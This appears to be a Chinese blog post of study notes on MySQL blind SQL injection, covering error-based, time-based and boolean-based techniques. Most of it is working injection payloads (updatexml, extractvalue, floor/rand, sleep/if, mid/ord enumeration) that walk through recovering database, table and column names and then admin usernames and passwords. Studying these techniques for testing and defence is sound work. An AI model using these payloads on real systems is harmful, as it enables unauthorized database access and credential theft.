5-查询方式及报错盲注

报错盲注

  • 当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致
  • 这个时候我们需要用到相关的报错盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句

查询方式(mysql)

  • select、insert、update、delete
  • 查询方式不同注入代码也不同
  • 后三者在后台只会显示ok或者报错,因此在前端是不会有回显的,有些情况会把报错回显到前端
select a='b'
返回一张以a为字段名,b为数据的表

注入点判断

  • 能接收我们传过去的数值,正常都可以作为注入点,只要可以对测试代码作出反应就可以

SQL语句盲注

  • 盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注
  • 例如一般注册的时候前端时没有回显的,只能看到是否注册成功
  • 盲注分为以下三类:
    • 基于布尔的SQL盲注-逻辑判断 regexp, like , ascii,left, ord , mid。不需要回显信息
    • 基于时间的SQL盲注-延时判断 if ,sleep。不需要回显信息
    • 基于报错的SQL盲注-报错回显 floor, updatexml, extractvalue。强制报错触发回显
  • 使用优先级:报错回显>逻辑判断>延时判断
  • https://www.jianshu.com/p/bc35f8dd4f7c
  • https://developer.aliyun.com/article/692723

部分语句参考示例

参考:
like 'ro%'     #判断ro或ro.. .是否成立
regexp '^abc[a-z]'   #匹配abc及abc...等,是正则匹配
if(条件,5,0)    #条件成立返回5反之返回0
sleep(5)     #SQL语句延时执行5秒
mid(a,b,c)     #从位置b开始,截取a字符串的c位,mid的起始值为1,不支持负数起始位置
substr(a,b,c)    #从b位置开始,截取字符串a的c长度,效果和mid相同,不过起始位在不同语言中不同,要么1要么0,在php中允许负数起始位置,mysql从1开始,php从0开始
left(database(),1) #left(a,b)从左侧截取a的前b位
length(database())=8   #判断数据库database ()名的长度
ord=ascii ascii(x)=97   #判断x的asci i码是否等于97
concat(a,b,c,...) # 将字符串a,b,c,...拼接起来

报错盲注语句示例及解析

insert
=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '
# 前后引号用于闭合
# 0x7e解析为波浪号,用于作为显示的筛选,有没有都一样,不过可以用来快速定位报错信息中自己想要的信息,工具中常用来提取所需信息
=x' or updatexml(1,concat(0x7e,(version())),0) or
'
# concat()函数将其中的参数连成一个字符串,因此会不符合XPATH_string的格式,从而出现格式错误,导致报错(为什么会回显)报错盲注是要网站会把本身就会把报错信息回显吗???
x' or extractvalue(1,concat(0x7e,database())) or
'
updatexml()函数解析
  • UPDATEXML (XML_document, XPath_string, new_value);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
update
' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '
' or updatexml(1,concat(0x7e,(version())),0) or '
' or extractvalue(1,concat(0x7e,database())) or '
delete
?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

?id=56+or+updatexml+(1,concat(0x7e,database()),0)
# 在BurpSuite中GET传参的话需要Ctrl+U 对payload进行url编码(没有加号的情况下对空格进行编码),或者使用加号代替空格,防止
?id=56+or+extractvalue(1,concat(0x7e,database()))

时间盲注

  • 延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确
  • 但是在实际渗透过程中由于受到网络的影响时间注入不是很靠谱
  • 延时注入最好用bp抓包看返回时间,或者用浏览器调试模式
  • 推荐用ascii码判断,一方面可以防止引号被转义,且转化为数字可以用二分法加速猜解过程,虽然字符也可以,但数字比较直观
mysql_fetch_array
  • 无回显函数
sleep语句+if语句
mysql> select * from member where id=1 and sleep(5);
mysql> select if(database()='test',123,456);

?id=1 and sleep(if(database()= 'security',5,0))--+
# 如果数据库是'security',则会延迟5秒,否则不延迟
?id=1%20and%20sleep(if(length(database())=8,5,0))--+
# 判断数据库的长度
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
# limit用于限制查该数据库下的第几张表
sleep语句+if语句+mid语句
mysql> select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
# 判断数据库名称是不是以p开头如果是的话就延迟五秒输出

布尔注入流程

  • 前半部分想要正常写的话就用and,and后面写注入语句
  • 前半部分想随便写无所谓的话就用or,or后面写注入语句
  • 整条语句返回true页面就正常显示,返回false显示就不正常
猜解获取数据库长度
  • ' or length(database()) > 8 --+ :符合条件返回正确,反之返回错误
猜解获取数据库名
  • 'or mid(database(),1,1)= 'z' --+ :因为需要验证的字符太多,所以转化为ascii码验证
  • 'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名
猜解获取表的总数

'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ :判断表的总数

猜解获取第一个表名的长度
  • 'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
  • 'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)
猜解第一个表名
  • 'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1) = 'a' --+
猜解表的字段的总数
  • 'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
猜解第一个字段的长度
  • 'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
  • 'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)
猜解第一个字段名
  • 'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
  • 'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
直接猜测字段名
  • ' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+
猜解内容长度
  • 'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
猜解内容
  • 'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
  • 'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII码猜解
直接猜测内容
  • 'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+
posted @ 2025-03-27 21:44  micryfotctf  阅读(56)  评论(0)    收藏  举报